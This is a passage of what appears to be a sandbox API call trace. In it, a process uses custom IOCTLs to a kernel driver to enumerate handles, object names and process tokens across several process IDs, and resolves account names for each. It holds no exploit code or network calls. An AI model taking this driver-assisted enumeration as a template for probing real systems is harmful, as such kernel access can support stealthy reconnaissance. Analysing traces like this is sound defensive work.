HandleInformation=0x0) returned 0x0 [0132.982] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.982] PsReleaseProcessExitSynchronization () returned 0x2 [0132.982] ObfDereferenceObject (Object=0xfffffa8002067b30) returned 0x10 [0132.982] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005000508) returned 0x0 [0132.983] ObfDereferenceObject (Object=0xfffffa80020627a0) returned 0x1 [0132.983] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0132.983] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.983] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.983] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0132.983] PsLookupProcessByProcessId (in: ProcessId=0x910, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.983] PsAcquireProcessExitSynchronization () returned 0x0 [0132.983] KeStackAttachProcess (in: PROCESS=0xfffffa8002067b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002067b30, ApcState=0xfffff880050005d0) [0132.983] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002068800, HandleInformation=0x0) returned 0x0 [0132.983] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.983] PsReleaseProcessExitSynchronization () returned 0x2 [0132.983] ObfDereferenceObject (Object=0xfffffa8002067b30) returned 0x10 [0132.983] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005000508) returned 0x0 [0132.983] ObfDereferenceObject (Object=0xfffffa8002068800) returned 0x1 [0132.983] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0132.983] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.983] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.983] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0132.983] PsLookupProcessByProcessId (in: ProcessId=0x910, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.983] PsAcquireProcessExitSynchronization () returned 0x0 [0132.983] KeStackAttachProcess (in: PROCESS=0xfffffa8002067b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002067b30, ApcState=0xfffff880050005d0) [0132.983] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0132.983] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.983] PsReleaseProcessExitSynchronization () returned 0x2 [0132.983] ObfDereferenceObject (Object=0xfffffa8002067b30) returned 0x10 [0132.983] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.983] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0132.983] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0132.983] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.983] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x920) returned 0xc0 [0132.983] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0132.984] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa800207e5f0, HandleInformation=0x0) returned 0x0 [0132.984] ObOpenObjectByPointer (in: Object=0xfffffa800207e5f0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800005f0) returned 0x0 [0132.984] ObfDereferenceObject (Object=0xfffffa800207e5f0) returned 0x12 [0132.984] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800005f0, DesiredAccess=0x8, TokenHandle=0xfffffa80089f71c0 | out: TokenHandle=0xfffffa80089f71c0*=0xc8) returned 0x0 [0132.984] ZwClose (Handle=0xffffffff800005f0) returned 0x0 [0132.984] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0132.984] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0132.984] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0132.985] CloseHandle (hObject=0xc8) returned 1 [0132.985] CloseHandle (hObject=0xc0) returned 1 [0132.985] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.985] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0132.985] PsLookupProcessByProcessId (in: ProcessId=0x920, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.985] PsAcquireProcessExitSynchronization () returned 0x0 [0132.985] KeStackAttachProcess (in: PROCESS=0xfffffa800207e5f0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800207e5f0, ApcState=0xfffff880050005d0) [0132.985] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800207ef20, HandleInformation=0x0) returned 0x0 [0132.985] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.985] PsReleaseProcessExitSynchronization () returned 0x2 [0132.986] ObfDereferenceObject (Object=0xfffffa800207e5f0) returned 0x10 [0132.986] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fc3044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001fc3044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.986] ObfDereferenceObject (Object=0xfffffa800207ef20) returned 0x1 [0132.986] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0132.986] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.986] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.986] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x6c, lpOverlapped=0x0) returned 1 [0132.986] PsLookupProcessByProcessId (in: ProcessId=0x920, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.986] PsAcquireProcessExitSynchronization () returned 0x0 [0132.986] KeStackAttachProcess (in: PROCESS=0xfffffa800207e5f0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800207e5f0, ApcState=0xfffff880050005d0) [0132.986] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001ff5290, HandleInformation=0x0) returned 0x0 [0132.986] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.986] PsReleaseProcessExitSynchronization () returned 0x2 [0132.986] ObfDereferenceObject (Object=0xfffffa800207e5f0) returned 0x10 [0132.986] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.986] ObfDereferenceObject (Object=0xfffffa8001ff5290) returned 0x1 [0132.986] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0132.986] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.986] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.986] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0132.986] PsLookupProcessByProcessId (in: ProcessId=0x920, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.986] PsAcquireProcessExitSynchronization () returned 0x0 [0132.986] KeStackAttachProcess (in: PROCESS=0xfffffa800207e5f0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800207e5f0, ApcState=0xfffff880050005d0) [0132.986] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0132.986] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.986] PsReleaseProcessExitSynchronization () returned 0x2 [0132.986] ObfDereferenceObject (Object=0xfffffa800207e5f0) returned 0x10 [0132.986] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.986] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0132.986] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0132.986] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.986] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x930) returned 0xc0 [0132.987] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0132.987] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa8001ff8b30, HandleInformation=0x0) returned 0x0 [0132.987] ObOpenObjectByPointer (in: Object=0xfffffa8001ff8b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800005f0) returned 0x0 [0132.987] ObfDereferenceObject (Object=0xfffffa8001ff8b30) returned 0x12 [0132.987] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800005f0, DesiredAccess=0x8, TokenHandle=0xfffffa80089f71c0 | out: TokenHandle=0xfffffa80089f71c0*=0xc8) returned 0x0 [0132.987] ZwClose (Handle=0xffffffff800005f0) returned 0x0 [0132.987] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0132.987] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0132.987] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0132.988] CloseHandle (hObject=0xc8) returned 1 [0132.988] CloseHandle (hObject=0xc0) returned 1 [0132.988] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.988] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0132.988] PsLookupProcessByProcessId (in: ProcessId=0x930, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.988] PsAcquireProcessExitSynchronization () returned 0x0 [0132.988] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff8b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001ff8b30, ApcState=0xfffff880050005d0) [0132.988] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001fb4830, HandleInformation=0x0) returned 0x0 [0132.989] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.989] PsReleaseProcessExitSynchronization () returned 0x2 [0132.989] ObfDereferenceObject (Object=0xfffffa8001ff8b30) returned 0x10 [0132.989] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.989] ObfDereferenceObject (Object=0xfffffa8001fb4830) returned 0x1 [0132.989] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0132.989] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.989] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.989] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x6a, lpOverlapped=0x0) returned 1 [0132.989] PsLookupProcessByProcessId (in: ProcessId=0x930, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.989] PsAcquireProcessExitSynchronization () returned 0x0 [0132.989] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff8b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001ff8b30, ApcState=0xfffff880050005d0) [0132.989] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001fc7a20, HandleInformation=0x0) returned 0x0 [0132.989] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.989] PsReleaseProcessExitSynchronization () returned 0x2 [0132.989] ObfDereferenceObject (Object=0xfffffa8001ff8b30) returned 0x10 [0132.989] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.989] ObfDereferenceObject (Object=0xfffffa8001fc7a20) returned 0x1 [0132.989] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0132.989] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.989] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.989] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0132.989] PsLookupProcessByProcessId (in: ProcessId=0x930, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.989] PsAcquireProcessExitSynchronization () returned 0x0 [0132.989] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff8b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001ff8b30, ApcState=0xfffff880050005d0) [0132.989] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0132.989] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.989] PsReleaseProcessExitSynchronization () returned 0x2 [0132.989] ObfDereferenceObject (Object=0xfffffa8001ff8b30) returned 0x10 [0132.989] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.989] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0132.989] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0132.990] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.990] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x940) returned 0xc0 [0132.990] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0132.990] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa8002002b30, HandleInformation=0x0) returned 0x0 [0132.990] ObOpenObjectByPointer (in: Object=0xfffffa8002002b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800005f0) returned 0x0 [0132.990] ObfDereferenceObject (Object=0xfffffa8002002b30) returned 0x12 [0132.990] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800005f0, DesiredAccess=0x8, TokenHandle=0xfffffa80089f71c0 | out: TokenHandle=0xfffffa80089f71c0*=0xc8) returned 0x0 [0132.990] ZwClose (Handle=0xffffffff800005f0) returned 0x0 [0132.990] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0132.990] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0132.990] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0132.991] CloseHandle (hObject=0xc8) returned 1 [0132.991] CloseHandle (hObject=0xc0) returned 1 [0132.991] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.991] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0132.991] PsLookupProcessByProcessId (in: ProcessId=0x940, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.992] PsAcquireProcessExitSynchronization () returned 0x0 [0132.992] KeStackAttachProcess (in: PROCESS=0xfffffa8002002b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002002b30, ApcState=0xfffff880050005d0) [0132.992] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001ffd180, HandleInformation=0x0) returned 0x0 [0132.992] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.992] PsReleaseProcessExitSynchronization () returned 0x2 [0132.992] ObfDereferenceObject (Object=0xfffffa8002002b30) returned 0x10 [0132.992] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.992] ObfDereferenceObject (Object=0xfffffa8001ffd180) returned 0x1 [0132.992] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0132.992] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.992] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.992] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x7c, lpOverlapped=0x0) returned 1 [0132.992] PsLookupProcessByProcessId (in: ProcessId=0x940, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.992] PsAcquireProcessExitSynchronization () returned 0x0 [0132.992] KeStackAttachProcess (in: PROCESS=0xfffffa8002002b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002002b30, ApcState=0xfffff880050005d0) [0132.992] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001fff410, HandleInformation=0x0) returned 0x0 [0132.992] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.992] PsReleaseProcessExitSynchronization () returned 0x2 [0132.992] ObfDereferenceObject (Object=0xfffffa8002002b30) returned 0x10 [0132.992] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005000508) returned 0x0 [0132.992] ObfDereferenceObject (Object=0xfffffa8001fff410) returned 0x1 [0132.992] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0132.992] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.992] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.992] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0132.992] PsLookupProcessByProcessId (in: ProcessId=0x940, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.992] PsAcquireProcessExitSynchronization () returned 0x0 [0132.992] KeStackAttachProcess (in: PROCESS=0xfffffa8002002b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002002b30, ApcState=0xfffff880050005d0) [0132.993] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0132.993] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.993] PsReleaseProcessExitSynchronization () returned 0x2 [0132.993] ObfDereferenceObject (Object=0xfffffa8002002b30) returned 0x10 [0132.993] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0132.993] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0132.993] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0132.993] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.993] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x950) returned 0xc0 [0132.993] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, 